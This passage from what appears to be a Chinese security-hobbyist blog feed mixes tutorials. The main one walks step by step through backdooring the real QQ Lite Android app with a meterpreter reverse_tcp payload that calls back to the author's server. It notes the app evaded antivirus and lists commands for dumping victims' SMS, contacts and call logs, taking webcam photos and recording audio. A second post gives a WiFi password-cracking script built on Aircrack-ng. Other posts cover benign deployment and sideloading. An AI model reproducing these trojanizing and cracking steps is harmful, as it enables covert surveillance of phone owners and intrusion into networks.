P2LpnA4nSkvUGNKvaWcF+k/jeyP2o7dorXumfXfjGBAYiWCF6hDiy8XT5G2ruMDD
lWafoleGSVeuB0onijqzRU5BaN+IbMIzGWLRP6yvhYmmO1210IGZBF3/gJLR3OaU
m82AV5Eg4FslzBViv620hDuVsEoeRne2uN/qiEtYjSLJWYn5trtApQkk/1i+OK6c
/lqtT+CyQ/IS69E5+fJYkAYkCgHJBdcJmDXSHKycarDDihPSPuN131kgyt/wZLE9
oV6eeH5ay9ruto9NYELNjmGVrZyZyAYRo6duN/ZyUBbczIaaWVCkEYgO04rwamkT
wOdWGEzj24gNMcXYCKQyW2OrDN3odX3f1UDvsiZqX88o0fI5YQB2YhGBjAfH5wSP
MkBBJCR3Qbc9J8ksFp//RWjWcFq/yr1WOCqEQVo1PMSPkeqfqV3ApS6XhVv4ChKL
PlnV27fa6XUK1yjNQlNxYkv15tnxhtKrLs6XiyVJbe6Q1obq0FOpBhv2WIh291BQ
bqgmGbNvABEBAAGJAjwEGAEIACYCGwwWIQQJ5V+vT3hizW1ViZfN+1+lIAe5VAUC
XXEvjgUJH3xmkQAKCRDN+1+lIAe5VJueD/4+6ldtpXYin+lWcMyHM8487GczLi8S
XgxZJu/2GzEpgdke8xoQWv6Jsk2AQaPLciIT7yU7/gTWsOiY7Om+4MGqZY+KqZ/X
eI8nFsGQx2yI7TDUQasN4uB5y6RnMGSH8DbAIWydVP2XWNVCHcVNMbeAoW7IiOOh
I2wT4bCmzrjfVsJRo8VvpykPhm7+svsU2ukMW0Ua77bA1gzdvPpRzN2I1MY/6lJk
x7BwtYsiAZt0+jII31IdCNpz4BlU3eadG+QbEH/q5FrHPBtkRWmziJpKXZDWdAg/
I7yim36xfxjMtcv8CI3YKmy5jYcGKguA2SGApQpPEUkafLZc62v8HVmZZFKmLyXR
XM9YTHz4v4jhruJ80M6YjUtfQv0zDn2HoyZuPxAW4HCys1/9+iAhuFqdt1PnHBs/
AmTFlQPAeMu++na4uc7vmnDwlY7RDPb0uctUczhEO4gT5UkLk5C9hcOKVAfmgF4n
MNgnOoSZO2orPKh3mejj+VAZsr1kfEWMoFeHPrWdxgRmjOhUfy6hKhJ1H306aaSQ
gkE3638Je/onWmnmZrDEZq7zg0Qk3aOOhJXugmRnIjH341y/whxvAdJIyXrjLN4z
qCU0JkA1rVqS6PXZabKb9DOqYa4pr9thGS5rU+Gn3GWiSq2PtVW6Hh83WOFcEsMk
2vTa24LE0J2DQg==
=Qa/n
-----END PGP PUBLIC KEY BLOCK-----
EOF
}

install_deb() {
LIST_FILE=/etc/apt/sources.list.d/metasploit-framework.list
PREF_FILE=/etc/apt/preferences.d/pin-metasploit.pref
echo -n "Adding metasploit-framework to your repository list.."
echo "deb $DOWNLOAD_URI/apt lucid main" > $LIST_FILE
print_pgp_key | apt-key add -
if [ ! -f $PREF_FILE ]; then
mkdir -p /etc/apt/preferences.d/
cat > $PREF_FILE <<EOF
Package: metasploit*
Pin: origin downloads.metasploit.com
Pin-Priority: 1000
EOF
fi
echo -n "Updating package cache.."
apt-get update > /dev/null
echo "OK"
echo "Checking for and installing update.."
apt-get install -y --allow-downgrades metasploit-framework
}

install_rpm() {
echo "Checking for and installing update.."
REPO_FILE=/etc/yum.repos.d/metasploit-framework.repo
GPG_KEY_FILE=/etc/pki/rpm-gpg/RPM-GPG-KEY-Metasploit
echo -n "Adding metasploit-framework to your repository list.."

cat > /etc/yum.repos.d/metasploit-framework.repo <<EOF
[metasploit]
name=Metasploit
baseurl=$DOWNLOAD_URI/rpm
gpgcheck=1
gpgkey=file://$GPG_KEY_FILE
enabled=1
EOF
print_pgp_key > ${GPG_KEY_FILE}
yum install -y metasploit-framework
}

install_suse() {
echo "Checking for and installing update.."
GPG_KEY_FILE_DIR=/etc/pki/rpm-gpg
GPG_KEY_FILE=${GPG_KEY_FILE_DIR}/RPM-GPG-KEY-Metasploit
echo -n "Adding metasploit-framework to your repository list.."
if [ ! -d $GPG_KEY_FILE_DIR ]; then
mkdir -p $GPG_KEY_FILE_DIR
fi
zypper ar -f $DOWNLOAD_URI/rpm metasploit
print_pgp_key > ${GPG_KEY_FILE}
rpmkeys --import ${GPG_KEY_FILE}
zypper install -y metasploit-framework
}

install_pkg()
{
(
cd ~/Downloads

echo "Downloading package..."
curl -O "$DOWNLOAD_URI/osx/metasploitframework-latest.pkg"

echo "Checking signature..."

if pkgutil --check-signature metasploitframework-latest.pkg; then
echo "Installing package..."
installer -pkg metasploitframework-latest.pkg -target /
fi

echo "Cleaning up..."
rm -fv metasploitframework-latest.pkg
)
}

DOWNLOAD_URI=http://downloads.metasploit.com/data/releases/metasploit-framework
PKGTYPE=unknown
ID=`id -u`

if [ -f /etc/redhat-release ] ; then
PKGTYPE=rpm
elif [ -f /etc/system-release ] ; then
# If /etc/system-release is present, this is likely a distro that uses RPM.
PKGTYPE=rpm
else
if uname -sv | grep 'Darwin' > /dev/null; then
PKGTYPE=pkg
elif [ -f /usr/bin/zypper ] ; then
PKGTYPE=sus
else
PKGTYPE=deb
fi
fi

if [ "$ID" -ne 0 ]; then
if ! hash sudo 2>/dev/null; then
echo "This script must be executed as the 'root' user or with sudo"
exit 1
else
echo "Switching to root user to update the package"
sudo -E $0 $@
exit 0
fi
fi

case $PKGTYPE in
deb)
install_deb
;;
sus)
install_suse
;;
rpm)
install_rpm
;;
*)
install_pkg
esac

我这里是保存为了msf文件,在运行之前一定要记得赋予执行权限

1
2
sudo chmod +x msf
sudo ./msf

然后就会开始安装,安装完成后输入msfconsole看看能不能正常打开,如果可以就是安装成功了

(附上以上正常运行的图)

用520apkhook创建带有后门的apk文件

MSF自身本来就可以创建带有后门的APK程序,不过就是一个简单的MainActivity,我们还要把它压进我们的程序里

1
msfvenom -p android/meterpreter/reverse_tcp LHOST=<host> LPORT=5555 R > pentestlab.apk

这个比较麻烦(有时间再补),所以我这里用Github上别人写好的脚本

这里我选用的是QQ轻聊版(name=’com.tencent.qqlite’ versionCode=’174’ versionName=’3.5.0’)

首先我们要把520apkhook给clone下来才能用

1
git clone https://github.com/ba0gu0/520apkhook.git

而且用之前,我们需要安装520apkhook需要的python轮子

1
pip3 install rich pycryptodome

安装完后,我们使用下面的命令格式进行apk的后门注入

1
python3 main.py [-h] --lhost LHOST --lport LPORT [-m MODE] [-p PAYLOAD] -n NORMALAPK

我这里把QQ轻聊版命名为QQLite.apk,我的服务器地址是我的腾讯云地址,端口开在了5555,那我就可以用下面的命令生成apk

1
python3 main.py --lhost <我的腾讯云IP> --lport 5555 -n QQLite.apk

然后程序就会自动开始打包,最后会告诉我们打包完成的文件位置

然后我们安装打包好的apk,我用我的手机测试了并没有报毒(红米K40 MIUI13),不过后来我还是选择在模拟器上安装,安装完后显示为正常的QQ轻聊版,而且能够正常使用

但是并不是所有的应用都可以被注入,新版的微信就不可以(自动模式找不到入口smali)

在云服务器上创建监听器

这个创建监听器的命令其实在520apkhook的文件夹里面已经给我们写好了,log里面有一行写道

1
[!] 生成的Msf Handler在: /home/gamernotitle/CTF/520apkhook/WorkDir/handler.rc

也就是说handler.rc文件已经为我们写好了在msfconsole里面运行的命令

我们可以通过msfconsole自带的命令加载

1
msfconsole -r handler.rc

也可以打开handler.rc并复制里面的内容

1
2
3
4
5
6
7
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set AutoLoadStdapi true
set LHOST 0.0.0.0
set LPORT 5555
set exitonsession false
exploit -j

然后粘贴在你的msfconsole里面

这样就算是运行了,然后我们打开安装的软件,我们的msfconsole会提示肉鸡上线

这时可以用sessions命令查看在线的肉鸡

session -i <id>就可以控制肉鸡啦

我这里就可以用session -i 1来通过第一个端口控制模拟器,使用screenshot命令进行截图

MSF session 命令列表

我自己常用的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
app_list# 列出所有的app,可以配合app_run使用
app_run <Package># 运行一个APP(会在目标设备直接运行,就类似用着用着突然打开了软件)
webcam_list# 列出设备拥有的摄像头
webcam_snap -i <id># 通过指定摄像头拍照并保存(需要摄像头权限)
upload <src1> <src2> ... <dst> # 上传本地文件到指定位置
app_install <path># 通过指定路径安装apk
check_root# 检查设备是否已经root
shell# 返回一个shell会话,如果目标已经root,可以用su提权
dump_calllog# 储存设备的通话记录(需要读取通话记录权限)
dump_sms# 储存设备的短信(需要读取短信权限)
dump_contacts# 储存设备的联系人列表(需要读取通讯录权限)
screenshare# 实时观看设备的屏幕
screenshot# 屏幕截图(出了寄生的软件后就截不到了)
record_mic# 录音
portfwd# 开放端口
download <path># 下载目标机器上的文件
ls# 经典命令,显示当前目录下的文件(需要存储权限)

官方全命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
Core Commands
=============

Command Description
------- -----------
? Help menu
background Backgrounds the current session
bg Alias for background
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information or control active channels
close Closes a channel
detach Detach the meterpreter session (for http/https)
disable_unicode_encoding Disables encoding of unicode strings
enable_unicode_encoding Enables encoding of unicode strings
exit Terminate the meterpreter session
get_timeouts Get the current session timeout values
guid Get the session GUID
help Help menu
info Displays information about a Post module
irb Open an interactive Ruby shell on the current session
load Load one or more meterpreter extensions
machine_id Get the MSF ID of the machine attached to the session
pry Open the Pry debugger on the current session
quit Terminate the meterpreter session
read Reads data from a channel
resource Run the commands stored in a file
run Executes a meterpreter script or Post module
secure (Re)Negotiate TLV packet encryption on the session
sessions Quickly switch to another session
set_timeouts Set the current session timeout values
sleep Force Meterpreter to go quiet, then re-establish session
transport Manage the transport mechanisms
use Deprecated alias for "load"
uuid Get the UUID for the current session
write Writes data to a channel


Stdapi: File system Commands
============================

Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
checksum Retrieve the checksum of a file
cp Copy source to destination
del Delete the specified file
dir List files (alias for ls)
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcat Read the contents of a local file to the screen
lcd Change local working directory
lls List local files
lpwd Print local working directory
ls List files
mkdir Make directory
mv Move source to destination
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
search Search for files
upload Upload a file or directory


Stdapi: Networking Commands
===========================

Command Description
------- -----------
ifconfig Display interfaces
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table


Stdapi: System Commands
=======================

Command Description
------- -----------
execute Execute a command
getenv Get one or more environment variable values
getpid Get the current process identifier
getuid Get the user that the server is running as
localtime Displays the target system local date and time
pgrep Filter processes by name
ps List running processes
shell Drop into a system command shell
sysinfo Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

Command Description
------- -----------
screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop


Stdapi: Webcam Commands
=======================

Command Description
------- -----------
record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat
webcam_list List webcams
webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam


Stdapi: Audio Output Commands
=============================

Command Description
------- -----------
play play a waveform audio file (.wav) on the target system


Android Commands
================

Command Description
------- -----------
activity_start Start an Android activity from a Uri string
check_root Check if device is rooted
dump_calllog Get call log
dump_contacts Get contacts list
dump_sms Get sms messages
geolocate Get current lat-long using geolocation
hide_app_icon Hide the app icon from the launcher
interval_collect Manage interval collection capabilities
send_sms Sends SMS from target session
set_audio_mode Set Ringer Mode
sqlite_query Query a SQLite database from storage
wakelock Enable/Disable Wakelock
wlan_geolocate Get current lat-long using WLAN information


Application Controller Commands
===============================

Command Description
------- -----------
app_install Request to install apk file
app_list List installed apps in the device
app_run Start Main Activty for package name
app_uninstall Request to uninstall application

]]>
+ + + + + CTF + + + + + + + CTF + + Virus + + msfconsole + + msfvenom + + apk + + + +
+ + + + + 使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器 + + /posts/Custom-Wechat-Pusher/ + +

相信大家现在在用的微信推送平台都是什么方糖QQ的server酱(Server酱·Turbo版 (ftqq.com))又或者是什么PushPlus之类的,我自己用的是server酱,但是在使用过程中发现一个问题:它每天只能推5条消息

对于我这种拿另一个手机使用SMSForwarder(pppscn/SmsForwarder: 短信转发器 (github.com))来转发短信的人来说,一天接到的验证码短信肯定不只5条,虽然配置了邮件转发,但是有的时候QQ的smtp服务器抽风,而且邮件不如微信好用,所以我就在想能不能搭建一个自己的推送服务器

恰巧我之前看到过songquanpeng/message-pusher: 搭建专属于你的微信消息推送服务 (github.com)这个项目,因为文档里面说可以部署在heroku上面,我就干起来了


因为Heroku一旦休眠再开启后,数据会丢失(虽然message-pusher的作者用了环境变量的方式去存储数据,但是这还是不太方便),恰巧railway也是一个可以部署服务的平台,相较于heroku主要是按需付费(前5刀免费),而且没有休眠,我就选择了railway

先fork一下message-pusher这个项目,然后转到railway平台新建项目

因为我这里想部署在原来就有的项目下面,所以我直接进入到项目之中,点击右上角的New,选到我刚刚fork的仓库

选择后,进入到服务的Variables里面添加我们需要的变量

这里项目作者整理了一个表格来给出我们所需要填写的变量名以及内容

KEYVALUE
MODE1(1 代表 Heroku 模式,该模式下应用从环境变量中读取必要信息)
PREFIX你的前缀,如 admin(前缀用于区分用户,出现在请求的 api 路径中)
DEFAULT_METHOD默认推送方式(test 代表微信测试号,corp 代表微信企业号,email 代表邮件推送,client 代表客户端推送)
HREF服务的 href,如 https://wechat-message.herokuapp.com/ ,注意后面要有 /
ACCESS_TOKEN用于验证调用者身份,防止别人使用借口发送垃圾信息,置空则不进行检查,设置该值后则需要在调用时加上 token 字段
WECHAT_APP_ID你的测试号的 APP ID
WECHAT_APP_SECRET你的测试号的 APP Secret
WECHAT_TEMPLATE_ID你的测试号的模板消息的 ID
WECHAT_OPEN_ID你的 Open ID
WECHAT_VERIFY_TOKEN你自己设置的验证 token
EMAIL你的默认目标邮箱
SMTP_SERVERsmtp 服务器地址,如 smtp.qq.com
SMTP_USERsmtp 服务器用户邮箱
SMTP_PASSsmtp 服务器用户凭据
CORP_ID微信企业号 ID
CORP_AGENT_ID微信企业号应用 ID
CORP_APP_SECRET微信企业号应用 Secret
CORP_USER_ID微信企业号用户 ID

因为Railway跟Heroku相似,都是服务部署平台,所以这里我MODE我填写的是1(但是其实好像0也可以,因为Railway不需要把数据存在变量中。如果选择的是0的话可以不填其他的设置,直接在网页控制台里面修改就行了,但是我选的是1,所以我就把其他的也填了)

PREFIX 是控制台以及发送通知访问的路径,我就直接保留默认了

HREF 是项目的访问地址,主要用于给出微信测试平台与我们项目对接的链接,直接填写自己的服务访问链接就可以了

WECHAT_APP_ID WECHAT_APP_SECRET 是测试号的信息,我们可以在微信公众平台 (qq.com)拿到我们需要的内容

WECHAT_OPEN_ID WECHAT_VERIFY_TOKEN 在后面跟公众号平台对接的时候使用,这两个后面再讲

我用到的就是这些,你也可以按照需要自己填写

填写完了以后随便切出Variables页面,Railway会自动开始重新部署

部署完成后访问Railway提供的域名,我们就能够进入管理平台的登录页面

(我这里登陆过了所以上面显示的按钮是添加新用户 配置退出

登录的用户名和密码默认分别为admin123456,登录进入以后一定要先改密码


接下来我们进行服务的配置,先点击用户设置,在这里先更改自己的登录密码,以及选择自己需要发送的通道(因为我用的是微信的测试号,所以我填的是test,下面我也主要会以微信测试号来说明)

ACCESS TOKEN可填可不填,主要看个人需求,如果需要鉴权的话就填一个吧

接下来我们转到顶上的微信测试号设置,在这里填写我们在微信公众平台 (qq.com)里面拿到的APP IDAPP SECRET

在微信公众平台,我们在下面模板信息接口新建一个测试模板,按照自己的需求填写,就可以拿到模板ID(TEMPLATE ID

然后我们先把这里的TOKEN设置好,点击一次提交先(TOKEN是自己设置的,用于微信公众平台对接)

接下来我们转到微信公众平台,在接口配置信息里面,URL就填配置页面上面的灰框框给出的链接,Token就填写刚刚自己设置的内容,然后打开开发者平台,在网络(Network)选项卡中稍等一会,会弹微信自己向服务器发送测试号粉丝(即关注了测试号的用户)的列表,在这里面你可以找到你自己的微信,并且把OPEN_ID弄到手(如果你没有关注自己的测试号,这里是不会显示自己的信息的,你需要往下拉找到自己的二维码先关注)

填写好微信公众平台的URLToken以后,可以点击提交(可能会成功,反正我没成功,但是不影响使用)

我们返回配置页面,在OPEN ID里面填入我们自己的ID,然后点击提交就可以了

这时候我们尝试访问https://<你的域名>/<你的路径>/hi,如果返回{"success":true,"message":"ok"}就说明发送成功了,你也可以在手机上查看自己收到的信息


一开始我就说了我是用来转发短信的,所以自然要与短信转发器对接(因为我手机不在手上,所以下面我使用Teamviewer进行远程控制)

先新建一条转发通道,名字随意,请求方式按需选择,我这里用GET主要是方便

WebParams里面的参数根据自己需求填写,我这里写的是title=来自[from]的短信&description=[content]&content=[content],然后前往转发规则,新建一条转发规则,根据自己的需求填写

填写完以后可以测试一下,要是测试没问题保存即可

附上一张测试成功的样图

]]>
+ + + + + Tech + + + + + + + Tech + + Notification + + mail + + railway + + message + + wechat + + + +
+ + + + + 在华为Watch Pro 3上面安装第三方应用 + + /posts/Install-apk-on-HUAWEI-Watch-Pro-3/ + +

我身边老多人用智能手表了,OPPO Watch 2 已经见怪不怪了,这不又来了个HUAWEI Watch Pro 3手表,说请我帮他装点软件。说白了手表装软件不就adb嘛能有啥,既然结了这活,那就干吧(因为忘记拍照了,所以本文应该是全文字)

华为手表用的是鸿蒙系统,一开始我还在担心会不会没有adb调试的功能,等我按照正常操作(关于,版本号连点5下,开发者选项)后,看到开发者选项里面没有adb调试这个选项,取而代之的是什么HDC调试(我猜是华为自己的一种调试模式),实际测试这个HDC调试跟adb调试好像是一个东西?用abd都能够连接

使用adb connect ip:port进行连接,我一开始天真的以为直接adb install就可以了,当我这么操作的时候,这傻逼系统告诉我说不允许通过adb安装应用,我翻了翻开发者选项,没有平常的通过adb安装应用的开关,上网搜了一下说com.android.packageinstaller这个应用包会禁止安装应用,所以要先关掉,装完要开回来(不然会变砖头)

所以就很简单啦,在安装之前我们先关掉这个应用包,安装完后打开即可

这里有个坑:华为手表连接WIFI会在锁屏的时候自动断开连接,所以搞得我好多次快要装完了,结果一个锁屏GG

我们可以使用以下命令进行应用的安装

1
2
3
4
5
adb disconnect
adb connect <手表的IP地址:端口(一般是5555)>
adb shell pm disable-user com.android.packageinstaller
adb install <apk路径>
adb shell pm enable com.android.packageinstaller

安装完后就应该能在手表的启动器中找到安装的应用了。

]]>
+ + + + + Tech + + + + + + + Tech + + Smart Watch + + HUAWEI Watch + + + +
+ + + + + CTF学习笔记(大学篇)04 —— 使用Aircrack-ng来破解WIFI + + /posts/CTF-in-College-4/ + +

Aircrack-ng 官网:https://www.aircrack-ng.org/

Aircrack-ng是用来破解WIFI密码的工具,原理就是先寻找要破解的WIFI,然后把设备T下线,伪装成热点,让其他设备连接到伪装热点上获取握手包,最后跑字典把密码跑出来

说白了就是字典里面如果有就是有,没有那就没戏,所以其实用处嘛……

Aircrack-Ng 安装

Kali其实自带了这个东西,但是对于大部分的Linux发行版是不带的,所以我们需要进行安装

最简单的方式就是直接通过apt进行安装

1
2
sudo apt update
sudo apt install aircrack-ng -y

我这里因为装过了所以才是这么提示的,如果没装过会进入正常的apt安装流程

网卡设置

我这里自己插了一张AWUS036H网卡(显示为wlan0),某宝从几十块到几百的都有,那我这张自然是白嫖的嘛

顺带上一张实物图

要开始使用Aircrack-ng,就需要把网卡设置为监听模式,不过这个设置Aircrack-ng里面有一键化的命令,我们只需要执行

1
sudo airmon-ng start <网卡名字>

就可以打开监听模式了,对于我这里,我需要输入的为

1
sudo airmon-ng start wlan0

(我这里因为开过一次,所以就会有两个进程在用这个网卡,根据它里面所说的用airmon-ng check kill先杀掉相关进程后重新开启就可以了)

完成后,原网卡的名字后面会多出mon的字样,就像这样

搜索网络

使用airodump-ng <网卡名字>可以进入搜索模式

1
sudo airodump-ng wlan0mon

然后会开始搜索附近的WIFI,按两下Q可以退出搜索

BSSID 是搜索到的WIFI的MAC地址

PWR 不清楚,但是用不到

Beacons 不清楚,但是也用不到

#Data, #/s 数据量(我猜的)

CH 即Channel,WIFI的频道

MB 不清楚,也用不到

ENC CIPHER 加密协议的版本

AUTH 认证方式(PSK即密码)

ESSID WIFI名称

我们需要记下BSSID CHANNEL 这两个东西,在抓取握手包会用到,记完了以后按两下Q退出搜索就可以了

抓取握手包

使用airodump-ng -w {path} --channel {channel} --bssid {bssid} {netcard}能够抓取握手包

path就是保存文件的路径

channel 频道,上面说过了

bssid WIFI的MAC地址,上面也说过了

netcard 你想使用的网卡

我这里就直接输入下面这个命令来抓取Raspberry这个WIFI的握手包(Packets文件夹已经提前新建完成)

1
sudo airodump-ng -w ./Packets/captured --channel 11 --bssid 5E:E4:2A:0D:4B:75 wlan0mon

网卡会进入抓取模式,这个过程可以按两下Q退出抓取

需要注意的是,抓取过程中,其他设备必须与该WIFI进行至少一次的连接(从不在该网络连接到该网络)

抓完后,会出现如图的这些文件

我们要用来破解的就是这个captured-01.cap,至于为什么有01,因为aircrack-ng怕你重名,所以在文件后面会加上数字

破解WIFI密码

使用命令aircrack-ng {path} -w {dictionary}来破解WIFI密码

path 是要破解的cap文件的后缀,我这里就应该填./Packets/captured-01.cap

dictionary 是要用来破解WIFI跑的字典(字典可以访问代码浏览 - WIFI - 常用字典 - GamerNoTitle的团队 (coding.net)获取)

组合起来,我这里输入命令(wpa.txt是我电脑里面已经存在的字典)

1
sudo aircrack-ng ./Packets/captured-01.cap -w wpa.txt

然后就会开始跑字典,跑完了就会显示了(我这里没有跑,因为太慢了)

一键化Python程序

需要记住这么多命令是不是很烦,这里我自己做了个Aircrack-ng的Python程序,来避免记这么多的程序。需要注意:这个程序只能在Linux上运行,并且需要以root权限运行(因为aircrack的大部分命令都需要root权限)

下面贴出程序,你也可以通过CTF-Scripts/WlanCrack.py at master · GamerNoTitle/CTF-Scripts (github.com)获取。本程序在字典方面跟我上面的那个coding的库进行了链接,如果没有提供字典的话可以从coding库下载

需要安装的Python轮子:requests tqdm pprint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
import os
import requests
from pprint import pformat
from tqdm import tqdm

PreviousOutput = None
output = None
ListeningMode = False
PreviousPath = None


def ShowNetCard():
output = os.popen('ifconfig')
data = output.read()
print(data)
return data


def StartListenerMode(netcard):
os.system('airmon-ng check kill')
os.system(f'airmon-ng start {netcard}')
global ListeningMode
ListeningMode = True
print('Started')


def DumpStatus(NetCard):
print('Double-press Q to exit. When you are ready, press enter.')
input()
os.system(f'airodump-ng {NetCard}')


def CapturePacket(channel: int, bssid: str, netcard: str, path='./captured'):
print('Double-press Q to exit. When you are ready, press enter.')
input()
os.system(
f'airodump-ng -w {path} --channel {channel} --bssid {bssid} {netcard}')


def CrackWithDict(path, dictionary):
os.system('airmon-ng check kill')
os.system(f'aircrack-ng {path} -w {dictionary}')


def Downloader(url: str, filename: str):
resp = requests.get(url, stream=True)
total = int(resp.headers.get('content-length', 0))
with open(filename, 'wb') as file, tqdm(
desc=filename,
total=total,
unit='iB',
unit_scale=True,
unit_divisor=1024,
) as bar:
for data in resp.iter_content(chunk_size=1024):
size = file.write(data)
bar.update(size)


help_msg = '''{:=^80}
[0] Show netcards
[1] Start listener
[2] Dump wlan status
[3] Capture heartbeat packet
[4] Crack the packet with a dictionary
[9] Install aircrack-ng (If you haven\'t install it on your computer)
[q] Exit
{:=^80}
'''.format(' Aircrack-Ng Script ', ' Made by GamerNoTitle ')

LogoPrint = r''' _ _ _ _ _____ _ _
/\ (_) | | | \ | | / ____| (_) | |
/ \ _ _ __ ___ _ __ __ _ ___| | ________| \| | __ _ | (___ ___ _ __ _ _ __ | |_
/ /\ \ | | '__/ __| '__/ _` |/ __| |/ /______| . ` |/ _` | \___ \ / __| '__| | '_ \| __|
/ ____ \| | | | (__| | | (_| | (__| < | |\ | (_| | ____) | (__| | | | |_) | |_
/_/ \_\_|_| \___|_| \__,_|\___|_|\_\ |_| \_|\__, | |_____/ \___|_| |_| .__/ \__|
__/ | | |
|___/ |_| -- GamerNoTitle '''

if __name__ == '__main__':
print(LogoPrint)
if os.geteuid() != 0:
print('You need to run it as root!')
os._exit(0)
while True:
print(help_msg)
Input = input('Please choose an option: ')
if Input == '0':
CardsInfo = ShowNetCard()
if Input == '1':
Netcard = input(
'Please type the netcard\'s name that you wanna use: ')
if 'wlan' not in Netcard:
print(f'Unsupported netcard! {Netcard}')
else:
StartListenerMode(Netcard)
if Input == '2':
if ListeningMode:
Netcard = input(
'Please type the netcard\'s name that you wanna use: ')
NetCards = CardsInfo.split('\n\n')
if 'wlan' not in Netcard:
print(f'Unsupported netcard! {Netcard}')
else:
HaveCard = False
for i in NetCards:
if Netcard in i:
HaveCard = True
if HaveCard:
DumpStatus(Netcard)
else:
print(
f'Unable to find netcard {Netcard} in {NetCards}')
else:
print('You need to start the listener first!')
if Input == '3':
path = input(
'Please input the path that you want to save the file (e.g: ./captured): ')
PreviousPath = path
channel = int(
input('Please input the channel that you want to listen to: '))
bssid = input('Please input the bssid you want to listen to: ')
netcard = input('Please input the netcard you want to use: ')
if path == '' or channel == '' or bssid == '' or netcard == '':
print('Invalid parameters!')
else:
CapturePacket(channel=channel, bssid=bssid,
netcard=netcard, path=path)
if Input == '4':
path = input(
f'Please input the file you want to crack (Default for the previous file {PreviousPath}): ')
if path == '':
path = PreviousPath
dictionary = input(
'Please input the dictionary that you want to use to crack: ')
if dictionary == '':
print('You haven\'t specify a dictionary to crack the packet! Do you need some dictionarys? The avaliable dictionarys are listed below: ')
dictionarys = requests.get(
'https://gamernotitle.coding.net/p/Dictionarys/d/WIFI/git/raw/master/metadata.json?download=true').json()
print(pformat(dictionarys))
option = input(
'Please input the name of the dictionary you want to use: ')
if option == '':
print('You need to specify a dictionary to crack the packet!')
else:
Downloader(dictionarys['data'][option]
['link'], f'./{option}.txt')
dictionary = f'{option}.txt'
print(
f'Start cracking {path} with dictionary {dictionary}')
CrackWithDict(path, dictionary)
else:
print(f'Start cracking {path} with dictionary {dictionary}')
CrackWithDict(path, dictionary)
if Input == '9':
os.system('apt update')
os.system('apt install aircrack-ng -y')
if Input == 'q':
os._exit(0)
]]>
+ + + + + CTF + + + + + + + CTF + + WIFI + + aircrack + + + +
+ + + + + 2022年全国大学生信息安全竞赛创新实践能力赛初赛 —— 部分WriteUp + + /posts/CTF-20220529/ + +

前言

因为今年第一年参加,其实啥也不会,所以就把做出来的题放出来吧

签到电台

题目内容

题目内容:豪密,是中国共产党和中国工农红军第一本无线电通讯密码的简称,由周恩来同志亲自编制,以周恩来党内化名“伍豪”命名,它是我党建立机要工作最早也是保密性能最强的一种密码,从二十世纪三十年代到全国解放,都始终未被破译。春秋GAME伽玛实验室团队通过对豪密的加密模式进行分析,并参考已有的文献资料,仿制豪密的加密方法,制作成一道题目,谨以此题致敬情报战线的先辈们。

请点击“下发赛题”,让我们一起穿越百年,追寻红色通信足迹。(关注“春秋伽玛”公众号,回复“签到电台”获取解题提示)

思路

这题题目中其实没有太多的信息,主要是进去的那个网页里面有东西:一个标准电码表、一个密码本,然后附了一个参考资料

打开F12的开发者工具,然后按照要求点三下(即摩尔斯电码中的s),就抓到了请求的模板(这里手动的后面多了个J,但是实测不要J也可以)

即可以通过http://<域名>:<端口>/send?msg=<对应的英文字母>这样的格式,使用GET请求来发送信息

发送消息为”弼时安全到达了“,在密码本中直接Ctrl + F查找对应的字,得到对应的密码为1732 2514 1344 0356 0451 6671 0055,然后跟密码本的前28位进行模十运算(就是相加满十不进位),可以得到最终的密码为5527054196298395149957904073

最后访问http://<域名>:<端口>/send?msg=5527054196298395149957904073得到最终的flag{f52cc5ad-02b8-435c-b3e6-d6f907bb87a0}

附上我在做题的时候写的Python程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
codebook = '4895803783858049104891294028048877915993964884508701445170950472768818538157286879377568710737172419298890539211492159906706061553481596238704105315728289938582396161010201690117478415116408421577896895157832859368342230101663462972097373698261703992384839346255728696795365185881001654058108670883555430417806185446713801876774660320697572224607414161582051823332010943895369187926637133510089324514317205555123443145243388316267915082441584692640192647157276119645960280826103942635711642018106393519189267856807479524025909341'
# 密码本
front28 = list(codebook[:28])
# 前28位数字
secret = list('1732251413440356045166710055')
# 七个字对应的电码
result = []
for i in range(len(front28)):
result.append(str(int(front28[i])+int(secret[i]))[-1])

print(result)
res = ''
for i in result:
res += i
print(f'Msg decoded: {res}')

小插曲

在最后一小时黑灯搏杀开始以后有人打平台被封IP了呼呼呼

]]>
+ + + + + CTF + + + + + + + CTF + + Crypto + + Morse + + + +
+ + + + + CTF学习笔记(大学篇)03 —— CobaltStrike 详解 + + /posts/CTF-in-College-3/ + +

CobaltStrike信息

